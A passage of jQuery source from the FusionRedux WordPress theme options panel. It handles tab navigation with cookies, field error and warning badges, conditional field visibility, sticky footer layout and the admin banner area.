); el.find( '#toplevel_page_' + fusionredux.args.slug + ' .wp-submenu li.current' ).removeClass( 'current' ); el.find( '#toplevel_page_' + fusionredux.args.slug + ' .wp-submenu a' ).each( function() { var url = $( this ).attr( 'href' ).split( '&tab=' ); if ( url[1] == relid || url[1] == parentID ) { $( this ).addClass( 'current' ); $( this ).parent().addClass( 'current' ); } } ); if ( el.find( '#' + oldid + '_section_group_li' ).find( '#' + oldid + '_section_group_li' ).length ) { el.find( '#' + oldid + '_section_group_li' ).addClass( 'activeChild' ); el.find( '#' + relid + '_section_group_li' ).addClass( 'active' ).removeClass( 'activeChild' ); } else if ( el.find( '#' + relid + '_section_group_li' ).parents( '#' + oldid + '_section_group_li' ).length || el.find( '#' + oldid + '_section_group_li' ).parents( 'ul.subsection' ).find( '#' + relid + '_section_group_li' ).length ) { if ( el.find( '#' + relid + '_section_group_li' ).parents( '#' + oldid + '_section_group_li' ).length ) { el.find( '#' + oldid + '_section_group_li' ).addClass( 'activeChild' ).removeClass( 'active' ); } else { el.find( '#' + relid + '_section_group_li' ).addClass( 'active' ); el.find( '#' + oldid + '_section_group_li' ).removeClass( 'active' ); } el.find( '#' + relid + '_section_group_li' ).removeClass( 'activeChild' ).addClass( 'active' ); } else { el.find( '#' + relid + '_section_group_li' ).addClass( 'active' ).removeClass( 'activeChild' ).find( 'ul.subsection' ).slideDown(); if ( el.find( '#' + oldid + '_section_group_li' ).find( 'ul.subsection' ).length ) { el.find( '#' + oldid + '_section_group_li' ).find( 'ul.subsection' ).slideUp( 'fast', function() { el.find( '#' + oldid + '_section_group_li' ).removeClass( 'active' ).removeClass( 'activeChild' ); } ); var newParent = el.find( '#' + relid + '_section_group_li' ).parents( '.hasSubSections:first' ); if ( newParent.length > 0 ) { el.find( '#' + relid + '_section_group_li' ).removeClass( 'active' ); relid = newParent.find( '.fusionredux-group-tab-link-a:first' ).data( 'rel' ); if ( newParent.hasClass( 'empty_section' ) ) { newParent.find( '.subsection li:first' ).addClass( 'active' ); el.find( '#' + relid + '_section_group_li' ).removeClass( 'active' ).addClass( 'activeChild' ).find( 'ul.subsection' ).slideDown(); newParent = newParent.find( '.subsection li:first' ); relid = newParent.find( '.fusionredux-group-tab-link-a:first' ).data( 'rel' ); } else { el.find( '#' + relid + '_section_group_li' ).addClass( 'active' ).removeClass( 'activeChild' ).find( 'ul.subsection' ).slideDown(); } } } else if ( el.find( '#' + oldid + '_section_group_li' ).parents( 'ul.subsection' ).length ) { if ( !el.find( '#' + oldid + '_section_group_li' ).parents( '#' + relid + '_section_group_li' ).length ) { el.find( '#' + oldid + '_section_group_li' ).parents( 'ul.subsection' ).slideUp( 'fast', function() { el.find( '#' + oldid + '_section_group_li' ).removeClass( 'active' ); el.find( '#' + oldid + '_section_group_li' ).parents( '.fusionredux-group-tab-link-li' ).removeClass( 'active' ).removeClass( 'activeChild' ); el.find( '#' + relid + '_section_group_li' ).parents( '.fusionredux-group-tab-link-li' ).addClass( 'activeChild' ).find( 'ul.subsection' ).slideDown(); el.find( '#' + relid + '_section_group_li' ).addClass( 'active' ); } ); } else { el.find( '#' + oldid + '_section_group_li' ).removeClass( 'active' ); } } else { el.find( '#' + oldid + '_section_group_li' ).removeClass( 'active' ); if ( el.find( '#' + relid + '_section_group_li' ).parents( '.fusionredux-group-tab-link-li' ).length ) { // ThemeFusion edit: added the timeout to make the slidedown work correctly setTimeout( function() { el.find( '#' + relid + '_section_group_li' ).parents( '.fusionredux-group-tab-link-li' ).addClass( 'activeChild' ).find( 'ul.subsection' ).slideDown(); }, 50 ); el.find( '#' + relid + '_section_group_li' ).addClass( 'active' ); } } } // Show the group el.find( '#' + oldid + '_section_group' ).hide(); el.find( '#' + relid + '_section_group' ).fadeIn( 200, function() { if ( el.find( '#fusionredux-footer' ).length !== 0 ) { $.fusionredux.stickyInfo(); // race condition fix } $.fusionredux.initFields(); } ); $( '#toplevel_page_' + fusionredux.args.slug ).find( '.current' ).removeClass( 'current' ); } ); if (fusionredux.last_tab !== undefined) { $( '#' + fusionredux.last_tab + '_section_group_li_a' ).click(); return; } var tab = decodeURI( (new RegExp( 'tab' + '=' + '(.+?)(&|$)' ).exec( location.search ) || [, ''])[1] ); if ( tab !== "" ) { if ( $.cookie( "fusionredux_current_tab_get" ) !== tab ) { $.cookie( 'fusionredux_current_tab', tab, { expires: 7, path: '/' } ); $.cookie( 'fusionredux_current_tab_get', tab, { expires: 7, path: '/' } ); $( '#' + tab + '_section_group_li' ).click(); } } else if ( $.cookie( 'fusionredux_current_tab_get' ) !== "" ) { $.removeCookie( 'fusionredux_current_tab_get' ); } var sTab = $( '#' + $.cookie( "fusionredux_current_tab" ) + '_section_group_li_a' ); // Tab the first item or the saved one if ( $.cookie( "fusionredux_current_tab" ) === null || typeof ($.cookie( "fusionredux_current_tab" )) === "undefined" || sTab.length === 0 ) { $( '.fusionredux-container' ).find( '.fusionredux-group-tab-link-a:first' ).click(); } else { sTab.click(); } }; $.fusionredux.initFields = function() { // Theme-Fusion Change: // Some fields needs to be init even when the tab is not displayed, because // the settings are not rendered via PHP, and they are not saved from other section. $( ".fusionredux-group-tab .fusionredux-field-init" ).each( function() { if ( 'typography_sets' !== $( this ).attr( 'data-type' ) ) { return; } var type = $( this ).attr( 'data-type' ); if ( typeof fusionredux.field_objects != 'undefined' && fusionredux.field_objects[type] ) { fusionredux.field_objects[type].init(); } if ( !fusionredux.customizer && $( this ).hasClass( 'fusionredux_remove_th' ) ) { var tr = $( this ).parents( 'tr:first' ); var th = tr.find( 'th:first' ); if ( th.html() && th.html().length > 0 ) { $( this ).prepend( th.html() ); $( this ).find( '.fusionredux_field_th' ).css( 'padding', '0 0 10px 0' ); } $( this ).parent().attr( 'colspan', '2' ); th.remove(); } } ); $( ".fusionredux-group-tab:visible" ).find( ".fusionredux-field-init:visible" ).each( function() { // Initialize color picker $( this ).find( ".color-picker:not( .fusionredux-typography-color )" ).each( function() { $(this).awbColorPicker(); }); var type = $( this ).attr( 'data-type' ); if ( typeof fusionredux.field_objects != 'undefined' && fusionredux.field_objects[type] && fusionredux.field_objects[type] ) { fusionredux.field_objects[type].init(); } if ( !fusionredux.customizer && $( this ).hasClass( 'fusionredux_remove_th' ) ) { var tr = $( this ).parents( 'tr:first' ); var th = tr.find( 'th:first' ); if ( th.html() && th.html().length > 0 ) { $( this ).prepend( th.html() ); $( this ).find( '.fusionredux_field_th' ).css( 'padding', '0 0 10px 0' ); } $( this ).parent().attr( 'colspan', '2' ); th.remove(); } } ); }; $.fusionredux.notices = function() { if ( fusionredux.errors && fusionredux.errors.errors ) { $.each( fusionredux.errors.errors, function( sectionID, sectionArray ) { $.each( sectionArray.errors, function( key, value ) { $( "#" + fusionredux.args.opt_name + '-' + value.id ).addClass( "fusionredux-field-error" ); if ( $( "#" + fusionredux.args.opt_name + '-' + value.id ).parent().find( '.fusionredux-th-error' ).length === 0 ) { $( "#" + fusionredux.args.opt_name + '-' + value.id ).append( '
    ' + value.msg + '
    ' ); } else { $( "#" + fusionredux.args.opt_name + '-' + value.id ).parent().find( '.fusionredux-th-error' ).html( value.msg ).css( 'display', 'block' ); } } ); } ); $( '.fusionredux-container' ).each( function() { var container = $( this ); // Ajax cleanup container.find( '.fusionredux-menu-error' ).remove(); var totalErrors = container.find( '.fusionredux-field-error' ).length; if ( totalErrors > 0 ) { container.find( ".fusionredux-field-errors span" ).text( totalErrors ); container.find( ".fusionredux-field-errors" ).slideDown(); container.find( '.fusionredux-group-tab' ).each( function() { var total = $( this ).find( '.fusionredux-field-error' ).length; if ( total > 0 ) { var sectionID = $( this ).attr( 'id' ).split( '_' ); sectionID = sectionID[0]; container.find( '.fusionredux-group-tab-link-a[data-key="' + sectionID + '"]' ).prepend( '' + total + '' ); container.find( '.fusionredux-group-tab-link-a[data-key="' + sectionID + '"]' ).addClass( "hasError" ); var subParent = container.find( '.fusionredux-group-tab-link-a[data-key="' + sectionID + '"]' ).parents( '.hasSubSections:first' ); if ( subParent ) { subParent.find( '.fusionredux-group-tab-link-a:first' ).addClass( 'hasError' ); } } } ); } } ); } if ( fusionredux.warnings && fusionredux.warnings.warnings ) { $.each( fusionredux.warnings.warnings, function( sectionID, sectionArray ) { $.each( sectionArray.warnings, function( key, value ) { $( "#" + fusionredux.args.opt_name + '-' + value.id ).addClass( "fusionredux-field-warning" ); if ( $( "#" + fusionredux.args.opt_name + '-' + value.id ).parent().find( '.fusionredux-th-warning' ).length === 0 ) { $( "#" + fusionredux.args.opt_name + '-' + value.id ).append( '
    ' + value.msg + '
    ' ); } else { $( "#" + fusionredux.args.opt_name + '-' + value.id ).parent().find( '.fusionredux-th-warning' ).html( value.msg ).css( 'display', 'block' ); } } ); } ); $( '.fusionredux-container' ).each( function() { var container = $( this ); // Ajax cleanup container.find( '.fusionredux-menu-warning' ).remove(); var totalWarnings = container.find( '.fusionredux-field-warning' ).length; if ( totalWarnings > 0 ) { container.find( ".fusionredux-field-warnings span" ).text( totalWarnings ); container.find( ".fusionredux-field-warnings" ).slideDown(); container.find( '.fusionredux-group-tab' ).each( function() { var total = $( this ).find( '.fusionredux-field-warning' ).length; if ( total > 0 ) { var sectionID = $( this ).attr( 'id' ).split( '_' ); sectionID = sectionID[0]; container.find( '.fusionredux-group-tab-link-a[data-key="' + sectionID + '"]' ).prepend( '' + total + '' ); container.find( '.fusionredux-group-tab-link-a[data-key="' + sectionID + '"]' ).addClass( "hasWarning" ); var subParent = container.find( '.fusionredux-group-tab-link-a[data-key="' + sectionID + '"]' ).parents( '.hasSubSections:first' ); if ( subParent ) { subParent.find( '.fusionredux-group-tab-link-a:first' ).addClass( 'hasWarning' ); } } } ); } } ); } }; $.fusionredux.tabControl = function() { $( '.fusionredux-section-tabs div' ).hide(); $( '.fusionredux-section-tabs div:first' ).show(); $( '.fusionredux-section-tabs ul li:first' ).addClass( 'active' ); $( '.fusionredux-section-tabs ul li a' ).on( 'click', function() { $( '.fusionredux-section-tabs ul li' ).removeClass( 'active' ); $( this ).parent().addClass( 'active' ); var currentTab = $( this ).attr( 'href' ); $( '.fusionredux-section-tabs div' ).hide(); $( currentTab ).fadeIn( 'medium', function() { $.fusionredux.initFields(); } ); return false; } ); }; $.fusionredux.required = function() { // Hide the fold elements on load , // It's better to do this by PHP but there is no filter in tr tag , so is not possible // we going to move each attributes we may need for folding to tr tag // ThemeFusion edit: make sure that only the currently clicked tab is parsed through var $current_tab_name = $.cookie( "fusionredux_current_tab" ), $current_tab = jQuery( '#' + $current_tab_name + '_section_group' ), $current_folds = {}; $current_tab.find( 'fieldset' ).each( function() { var $option_name = $( this ).data( 'id' ), $fold_value = fusionredux.folds[$( this ).data( 'id' )]; if ( $fold_value !== undefined ) { $current_folds[$( this ).data( 'id' )] = $fold_value; } }); $.each( $current_folds, function( i, v ) { var fieldset = $( '#' + fusionredux.args.opt_name + '-' + i ); fieldset.parents( 'tr:first' ).addClass( 'fold' ); if ( v == "hide" ) { fieldset.parents( 'tr:first' ).addClass( 'hide' ); if ( fieldset.hasClass( 'fusionredux-container-section' ) ) { var div = $( '#section-' + i ); if ( div.hasClass( 'fusionredux-section-indent-start' ) ) { $( '#section-table-' + i ).hide().addClass( 'hide' ); div.hide().addClass( 'hide' ); } } if ( fieldset.hasClass( 'fusionredux-container-info' ) ) { $( '#info-' + i ).hide().addClass( 'hide' ); } if ( fieldset.hasClass( 'fusionredux-container-divide' ) ) { $( '#divide-' + i ).hide().addClass( 'hide' ); } if ( fieldset.hasClass( 'fusionredux-container-raw' ) ) { var rawTable = fieldset.parents().find( 'table#' + fusionredux.args.opt_name + '-' + i ); rawTable.hide().addClass( 'hide' ); } } } ); }; $.fusionredux.get_container_value = function( id ) { var value = $( '#' + fusionredux.args.opt_name + '-' + id ).serializeForm(); if ( value !== null && typeof value === 'object' && value.hasOwnProperty( fusionredux.args.opt_name ) ) { value = value[fusionredux.args.opt_name][id]; } if ( $( '#' + fusionredux.args.opt_name + '-' + id ).hasClass( 'fusionredux-container-media' ) ) { value = value.url; } return value; }; $.fusionredux.check_active_tab_dependencies = function() { var tab = $.cookie( "fusionredux_current_tab" ), tab_name = $( '#' + tab + '_section_group_li_a' ).data('css-id'); if ( fusionredux.optionSections.hasOwnProperty(tab_name) ) { var current_tab_options = fusionredux.optionSections[tab_name]; $.each( current_tab_options, function( id ) { $.fusionredux.check_dependencies(id); }); } }; $.fusionredux.check_dependencies = function( variable ) { if ( fusionredux.required === null ) { return; } var id = '', current = '', container = '', is_hidden = '', show = false; // If option ID is passed to $variable. if ( typeof variable === 'string' ) { id = variable; container = $( '#' + fusionredux.args.opt_name + '-' + id ); // If option DOM element is passed to $variable. } else { current = $( variable ); id = current.parents( '.fusionredux-field:first' ).data( 'id' ); container = current.parents( '.fusionredux-field-container:first' ); } var tab = $.cookie( "fusionredux_current_tab" ), tab_name = $( '#' + tab + '_section_group_li_a' ).data('css-id'); // Get active tab options if ( fusionredux.optionSections.hasOwnProperty(tab_name) ) { var current_tab_options = fusionredux.optionSections[tab_name]; // Process options that belong to active options tab only if ( id in current_tab_options ) { if ( ! fusionredux.required.hasOwnProperty( id ) ) { return; } is_hidden = container.parents( 'tr:first' ).hasClass( 'hidden' ); if ( ! is_hidden ) { show = $.fusionredux.check_parents_dependencies( id ); } // Show/Hide option that is being processed. if ( show === true ) { if ( 'info' === $( '#' + fusionredux.args.opt_name + '-' + id ).data( 'type' ) ) { $( '#' + fusionredux.args.opt_name.replace( 'fusion_options', 'info' ) + '-' + id ).removeClass( 'hide' ).fadeIn( 300 ); } else { $( '#' + fusionredux.args.opt_name + '-' + id ).parents( 'tr:first' ).removeClass( 'hide' ).fadeIn( 300 ); //$.fusionredux.initFields(); } } else if ( show === false ) { if ( 'info' === $( '#' + fusionredux.args.opt_name + '-' + id ).data( 'type' ) ) { $( '#' + fusionredux.args.opt_name.replace( 'fusion_options', 'info' ) + '-' + id ).addClass( 'hide' ).fadeOut( 300 ); } else { $( '#' + fusionredux.args.opt_name + '-' + id ).parents( 'tr:first' ).addClass( 'hide' ).fadeOut( 300 ); } } // Check if option is a parent and process it's children $.each( fusionredux.required[id], function( child, dependents ) { if ( child in current_tab_options ) { show = false; is_hidden = ''; var current = $( this ), childFieldset = $( '#' + fusionredux.args.opt_name + '-' + child ), tr = childFieldset.parents( 'tr:first' ); if ( ! is_hidden ) { show = $.fusionredux.check_parents_dependencies( child ); } if ( show === true ) { // ThemeFusion edit: wrapped below code in timeout //setTimeout( function() { // Shim for sections if ( childFieldset.hasClass( 'fusionredux-container-section' ) ) { var div = $( '#section-' + child ); if ( div.hasClass( 'fusionredux-section-indent-start' ) && div.hasClass( 'hide' ) ) { $( '#section-table-' + child ).fadeIn( 300 ).removeClass( 'hide' ); div.fadeIn( 300 ).removeClass( 'hide' ); } } if ( childFieldset.hasClass( 'fusionredux-container-info' ) ) { $( '#info-' + child ).fadeIn( 300 ).removeClass( 'hide' ); } if ( childFieldset.hasClass( 'fusionredux-container-divide' ) ) { $( '#divide-' + child ).fadeIn( 300 ).removeClass( 'hide' ); } if ( childFieldset.hasClass( 'fusionredux-container-raw' ) ) { var rawTable = childFieldset.parents().find( 'table#' + fusionredux.args.opt_name + '-' + child ); rawTable.fadeIn( 300 ).removeClass( 'hide' ); } // Show option tr.fadeIn( 300 ); tr.removeClass( 'hide' ); if ( fusionredux.required.hasOwnProperty( child ) ) { $.fusionredux.check_dependencies( child ); } if ( childFieldset.hasClass( 'fusionredux-container-section' ) || childFieldset.hasClass( 'fusionredux-container-info' ) ) { tr.css( {display: 'none'} ); } //}, 120 ); } else if ( show === false ) { tr.fadeOut( 100, function() { $( this ).addClass( 'hide' ); }); if ( childFieldset.hasClass( 'fusionredux-container-info' ) ) { $( '#info-' + child ).fadeOut( 100 ).addClass( 'hide' ); } if ( childFieldset.hasClass( 'fusionredux-container-divide' ) ) { $( '#divide-' + child ).fadeOut( 100 ).addClass( 'hide' ); } } //todo: check this trigger //current.find( 'select, radio, input[type=checkbox]' ).trigger( 'change' ); } }); } } }; $.fusionredux.required_recursive_hide = function( id ) { var toFade = $( '#' + fusionredux.args.opt_name + '-' + id ).parents( 'tr:first' ); toFade.fadeOut( 50, function() { $( this ).addClass( 'hide' ); if ( $( '#' + fusionredux.args.opt_name + '-' + id ).hasClass( 'fusionredux-container-section' ) ) { var div = $( '#section-' + id ); if ( div.hasClass( 'fusionredux-section-indent-start' ) ) { $( '#section-table-' + id ).fadeOut( 50 ).addClass( 'hide' ); div.fadeOut( 50 ).addClass( 'hide' ); } } if ( $( '#' + fusionredux.args.opt_name + '-' + id ).hasClass( 'fusionredux-container-info' ) ) { $( '#info-' + id ).fadeOut( 50 ).addClass( 'hide' ); } if ( $( '#' + fusionredux.args.opt_name + '-' + id ).hasClass( 'fusionredux-container-divide' ) ) { $( '#divide-' + id ).fadeOut( 50 ).addClass( 'hide' ); } if ( $( '#' + fusionredux.args.opt_name + '-' + id ).hasClass( 'fusionredux-container-raw' ) ) { var rawTable = $( '#' + fusionredux.args.opt_name + '-' + id ).parents().find( 'table#' + fusionredux.args.opt_name + '-' + id ); rawTable.fadeOut( 50 ).addClass( 'hide' ); } if ( fusionredux.required.hasOwnProperty( id ) ) { $.each( fusionredux.required[id], function( child ) { //$.fusionredux.required_recursive_hide( child ); } ); } } ); }; // ThemeFusion edit: all parts in this function with result variable have been added $.fusionredux.check_parents_dependencies = function( id ) { var show = "", singleOrGutter = false, gutterSequence = [], fusionGutters = false, dependencyResults = [], overallDependencies = [], classNames, total = 0, tab = $.cookie( "fusionredux_current_tab" ), tab_name = $( '#' + tab + '_section_group_li_a' ).data('css-id'); // Get active tab options if ( fusionredux.optionSections.hasOwnProperty(tab_name) ) { var current_tab_options = fusionredux.optionSections[tab_name]; // Process options that belong to active options tab only if ( id in current_tab_options ) { if ( fusionredux.required_child.hasOwnProperty( id ) ) { singleOrGutter = $( '#' + fusionredux.args.opt_name + '-' + id ).parents( 'tr:first' ).hasClass( 'fusion-or-gutter' ); if ( ! singleOrGutter ) { classNames = $( '#' + fusionredux.args.opt_name + '-' + id ).parents( 'tr:first' ).prop( 'className' ).split( ' ' ); gutterSequence = $.grep( classNames, function( value ) { return value.includes( 'fusion-gutter-' ); }); gutterSequence = ( gutterSequence[0] ) ? gutterSequence[0].replace( 'fusion-gutter-', '' ).split( '-' ) : false; } if ( singleOrGutter || gutterSequence ) { fusionGutters = true; } $.each( fusionredux.required_child[id], function( i, parentData ) { if ( $( '#' + fusionredux.args.opt_name + '-' + parentData.parent ).parents( 'tr:first' ).is( '.hide, .hidden' ) ) { show = false; dependencyResults.push( 0 ); } else { if ( false !== show || fusionGutters ) { var parentValue = $.fusionredux.get_container_value( parentData.parent ); show = $.fusionredux.check_dependencies_visibility( parentValue, parentData ); dependencyResults.push( Number( show ) ); } } }); } else { show = true; dependencyResults.push( 1 ); } if ( fusionGutters ) { if ( singleOrGutter ) { overallDependencies = dependencyResults; } else if ( 0 < gutterSequence.length ) { for ( var i = 0; i < dependencyResults.length; i++ ) { if ( 0 === i ) { overallDependencies.push( dependencyResults[i] ); } else { if ( 'and' === gutterSequence[i - 1] ) { overallDependencies[overallDependencies.length - 1] = overallDependencies[overallDependencies.length - 1] * dependencyResults[i]; } else { overallDependencies.push( dependencyResults[i] ); } } } } for ( var i = 0; i < overallDependencies.length; i++ ) { total += overallDependencies[i]; } if ( total >= 1 ) { show = true; } else { show = false; } } show = Boolean( show ); return show; } } }; $.fusionredux.check_dependencies_visibility = function( parentValue, data ) { var show = false, checkValue_array, checkValue = data.checkValue, operation = data.operation, arr; switch ( operation ) { case '=': case 'equals': // if ($.isPlainObject(parentValue)) { // var arr = Object.keys(parentValue).map(function (key) {return parentValue[key]}); // parentValue = arr; // } if ( Array.isArray( parentValue ) ) { $( parentValue[0] ).each( function( idx, val ) { if ( Array.isArray( checkValue ) ) { $( checkValue ).each( function( i, v ) { if ( val == v ) { show = true; return true; } } ); } else { if ( val == checkValue ) { show = true; return true; } } } ); } else { if ( Array.isArray( checkValue ) ) { $( checkValue ).each( function( i, v ) { if ( parentValue == v ) { show = true; } } ); } else { if ( parentValue == checkValue ) { show = true; } } } break; case '!=': case 'not': if ( Array.isArray( parentValue ) ) { $( parentValue ).each( function( idx, val ) { if ( Array.isArray( checkValue ) ) { $( checkValue ).each( function( i, v ) { if ( val != v ) { show = true; return true; } } ); } else { if ( val != checkValue ) { show = true; return true; } } } ); } else { if ( Array.isArray( checkValue ) ) { $( checkValue ).each( function( i, v ) { if ( parentValue != v ) { show = true; } } ); } else { if ( parentValue != checkValue ) { show = true; } } } break; case '>': case 'greater': case 'is_larger': if ( parseFloat( parentValue ) > parseFloat( checkValue ) ) { show = true; } break; case '>=': case 'greater_equal': case 'is_larger_equal': if ( parseFloat( parentValue ) >= parseFloat( checkValue ) ) { show = true; } break; case '<': case 'less': case 'is_smaller': if ( parseFloat( parentValue ) < parseFloat( checkValue ) ) { show = true; } break; case '<=': case 'less_equal': case 'is_smaller_equal': if ( parseFloat( parentValue ) <= parseFloat( checkValue ) ) { show = true; } break; case 'contains': if ($.isPlainObject(parentValue)) { checkValue = Object.keys(checkValue).map(function (key) { return [key, checkValue[key]]; }); parentValue = arr; } if ($.isPlainObject(checkValue)) { arr = Object.keys(checkValue).map(function (key) { return checkValue[key]; }); checkValue = arr; } if ( Array.isArray( checkValue ) ) { $( checkValue ).each( function( idx, val ) { var breakMe = false; var toFind = val[0]; var findVal = val[1]; $(parentValue).each( function (i, v) { var toMatch = v[0]; var matchVal = v[1]; if (toFind === toMatch) { if (findVal == matchVal) { show = true; breakMe = true; return false; } } } ); if (breakMe === true) { return false; } } ); } else { if ( parentValue.toString().indexOf( checkValue ) !== -1 ) { show = true; } } break; case 'doesnt_contain': case 'not_contain': if ($.isPlainObject(parentValue)) { arr = Object.keys(parentValue).map(function (key) { return parentValue[key]; }); parentValue = arr; } if ($.isPlainObject(checkValue)) { arr = Object.keys(checkValue).map(function (key) { return checkValue[key]; }); checkValue = arr; } if ( Array.isArray( checkValue ) ) { $( checkValue ).each( function( idx, val ) { if ( parentValue.toString().indexOf( val ) === -1 ) { show = true; } } ); } else { if ( parentValue.toString().indexOf( checkValue ) === -1 ) { show = true; } } break; case 'is_empty_or': if ( parentValue === "" || parentValue == checkValue ) { show = true; } break; case 'not_empty_and': if ( parentValue !== "" && parentValue != checkValue ) { show = true; } break; case 'is_empty': case 'empty': case '!isset': if ( !parentValue || parentValue === "" || parentValue === null ) { show = true; } break; case 'not_empty': case '!empty': case 'isset': if ( parentValue && parentValue !== "" && parentValue !== null ) { show = true; } break; } return show; }; $.fusionredux.verifyPos = function( s, b ) { // trim off spaces s = s.replace( /^\s+|\s+$/gm, '' ); // position value is blank, set the default if ( s === '' || s.search( ' ' ) == -1 ) { if ( b === true ) { return 'top left'; } else { return 'bottom right'; } } // split string into array var split = s.split( ' ' ); // Evaluate first string. Must be top, center, or bottom var paramOne = b ? 'top' : 'bottom'; if ( split[0] == 'top' || split[0] == 'center' || split[0] == 'bottom' ) { paramOne = split[0]; } // Evaluate second string. Must be left, center, or right. var paramTwo = b ? 'left' : 'right'; if ( split[1] == 'left' || split[1] == 'center' || split[1] == 'right' ) { paramTwo = split[1]; } return paramOne + ' ' + paramTwo; }; $.fusionredux.stickyInfo = function() { var stickyWidth = $( '.fusionredux-main' ).innerWidth() - 20; if ( !$( '#info_bar' ).isOnScreen() && !$( '#fusionredux-footer-sticky' ).isOnScreen() && $( '#fusionredux-footer-sticky' ).offset().top > $( window ).scrollTop() ) { $( '#fusionredux-footer' ).css( { position: 'fixed', bottom: '0', width: stickyWidth, right: 21 } ); $( '#fusionredux-footer' ).addClass( 'sticky-footer-fixed' ); $( '.fusionredux-save-warn' ).css( 'left', $( '#fusionredux-sticky' ).offset().left ); $( '#fusionredux-sticky-padder' ).show(); } else { $( '#fusionredux-footer' ).css( { background: '#eee', position: 'inherit', bottom: 'inherit', width: 'inherit' } ); $( '#fusionredux-sticky-padder' ).hide(); $( '#fusionredux-footer' ).removeClass( 'sticky-footer-fixed' ); } if ( !$( '#info_bar' ).isOnScreen() ) { $( '#fusionredux-sticky' ).addClass( 'sticky-save-warn' ); } else { $( '#fusionredux-sticky' ).removeClass( 'sticky-save-warn' ); } }; $.fusionredux.expandOptions = function( parent ) { var trigger = parent.find( '.expand_options' ); var width = parent.find( '.fusionredux-sidebar' ).width() - 1; var id = $( '.fusionredux-group-menu .active a' ).data( 'rel' ) + '_section_group'; if ( trigger.hasClass( 'expanded' ) ) { trigger.removeClass( 'expanded' ); parent.find( '.fusionredux-main' ).removeClass( 'expand' ); parent.find( '.fusionredux-sidebar' ).stop().animate( { 'margin-left': '0px' }, 500 ); parent.find( '.fusionredux-main' ).stop().animate( { 'margin-left': width }, 500, function() { parent.find( '.fusionredux-main' ).attr( 'style', '' ); } ); parent.find( '.fusionredux-group-tab' ).each( function() { if ( $( this ).attr( 'id' ) !== id ) { $( this ).fadeOut( 'fast' ); } } ); // Show the only active one } else { trigger.addClass( 'expanded' ); parent.find( '.fusionredux-main' ).addClass( 'expand' ); parent.find( '.fusionredux-sidebar' ).stop().animate( { 'margin-left': -width - 113 }, 500 ); parent.find( '.fusionredux-main' ).stop().animate( { 'margin-left': '-1px' }, 500 ); parent.find( '.fusionredux-group-tab' ).fadeIn( 'medium', function() { $.fusionredux.initFields(); } ); } return false; }; $.fusionredux.scaleToRatio = function( el, maxHeight, maxWidth ) { var ratio = 0; // Used for aspect ratio var width = el.attr( 'data-width' ); if ( !width ) { width = el.width(); el.attr( 'data-width', width ); } var height = el.attr( 'data-height' ); var eHeight = el.height(); if ( !height || eHeight > height ) { height = eHeight; el.attr( 'data-height', height ); el.css( "width", 'auto' ); el.attr( 'data-width', el.width() ); width = el.width(); } // Check if the current width is larger than the max if ( width > maxWidth ) { ratio = maxWidth / width; // get ratio for scaling image el.css( "width", maxWidth ); // Set new width el.css( "height", height * ratio ); // Scale height based on ratio height = height * ratio; // Reset height to match scaled image width = width * ratio; // Reset width to match scaled image } else { el.css( "width", 'auto' ); // Set new height } // Check if current height is larger than max if ( height > maxHeight ) { ratio = maxHeight / height; // get ratio for scaling image el.css( "height", maxHeight ); // Set new height el.css( "width", width * ratio ); // Scale width based on ratio width = width * ratio; // Reset width to match scaled image height = height * ratio; // Reset height to match scaled image } else { el.css( "height", 'auto' ); // Set new height } var test = ($( document.getElementById( 'fusionredux-header' ) ).height() - el.height()) / 2; if ( test > 0 ) { el.css( "margin-top", test ); } else { el.css( "margin-top", 0 ); } if ( $( '#fusionredux-header .fusionredux_field_search' ) ) { $( '#fusionredux-header .fusionredux_field_search' ).css( 'right', ($( el ).width() + 20) ); } }; $.fusionredux.resizeAds = function() { var el = $( '#fusionredux-header' ); var maxWidth; if ( el.length ) { maxWidth = el.width() - el.find( '.display_header' ).width() - 30; } else { el = $( '#customize-info' ); maxWidth = el.width(); } var maxHeight = el.height(); var rAds = el.find( '.rAds' ); $( rAds ).find( 'video' ).each( function() { $.fusionredux.scaleToRatio( $( this ), maxHeight, maxWidth ); } ); $( rAds ).find( 'img' ).each( function() { $.fusionredux.scaleToRatio( $( this ), maxHeight, maxWidth ); } ); $( rAds ).find( 'div' ).each( function() { $.fusionredux.scaleToRatio( $( this ), maxHeight, maxWidth ); } ); if ( rAds.css( 'left' ) == "-99999px" ) { rAds.css( 'display', 'none' ).css( 'left', 'auto' ); } rAds.fadeIn( 'slow' ); }; $( document ).ready( function() { if ( fusionredux.rAds ) { setTimeout( function() { var el; if ( $( '#fusionredux-header' ).length > 0 ) { $( '#fusionredux-header' ).append( '
    ' ); el = $( '#fusionredux-header' ); } else { $('#customize-theme-controls ul').first().prepend('
  • '); el = $( '#fusionredux_rAds' ); } el.css( 'position', 'relative' ); el.find( '.rAds' ).attr( 'style', 'position:absolute; top: 6px; right: 6px; display:block !important;overflow:hidden;' ).css( 'left', '-99999px' ); el.find( '.rAds' ).html( fusionredux.rAds.replace( //, '' ) ); var rAds = el.find( '.rAds' ); var maxHeight = el.height(); var maxWidth = el.width() - el.find( '.display_header' ).width() - 30; rAds.find( 'a' ).css( 'float', 'right' ).css( 'line-height', el.height() + 'px' ).css( 'margin-left', '5px' ); $( document ).ajaxComplete( function() { rAds.find( 'a' ).hide(); setTimeout( function() { $.fusionredux.resizeAds(); rAds.find( 'a' ).fadeIn(); }, 1400 ); setTimeout( function() { $.fusionredux.resizeAds(); }, 1500 ); $( document ).unbind( 'ajaxComplete' ); } ); $( window ).on( 'resize', function() { $.fusionredux.resizeAds(); } ); }, 400 ); } } ); })( jQuery ); jQuery.noConflict(); var confirmOnPageExit = function( e ) { //return; // ONLY FOR DEBUGGING // If we haven't been passed the event get the window.event e = e || window.event; var message = fusionredux.args.save_pending; // For IE6-8 and Firefox prior to version 4 if ( e ) { e.returnValue = message; } window.onbeforeunload = null; // For Chrome, Safari, IE8+ and Opera 12+ return message; }; function fusionredux_change( variable ) { jQuery.fusionredux.check_dependencies( variable ); jQuery.fusionredux.initFields(); if ( variable.hasClass( 'compiler' ) ) { jQuery( '#fusionredux-compiler-hook' ).val( 1 ); } var rContainer = jQuery( variable ).parents( '.fusionredux-container:first' ); var parentID = jQuery( variable ).closest( '.fusionredux-group-tab' ).attr( 'id' ); // Let's count down the errors now. Fancy. ;) var id = parentID.split( '_' ); id = id[0]; var th = rContainer.find( '.fusionredux-group-tab-link-a[data-key="' + id + '"]' ).parents( '.fusionredux-group-tab-link-li:first' ); var subParent = jQuery( '#' + parentID + '_li' ).parents( '.hasSubSections:first' ); if ( jQuery( variable ).parents( 'fieldset.fusionredux-field:first' ).hasClass( 'fusionredux-field-error' ) ) { jQuery( variable ).parents( 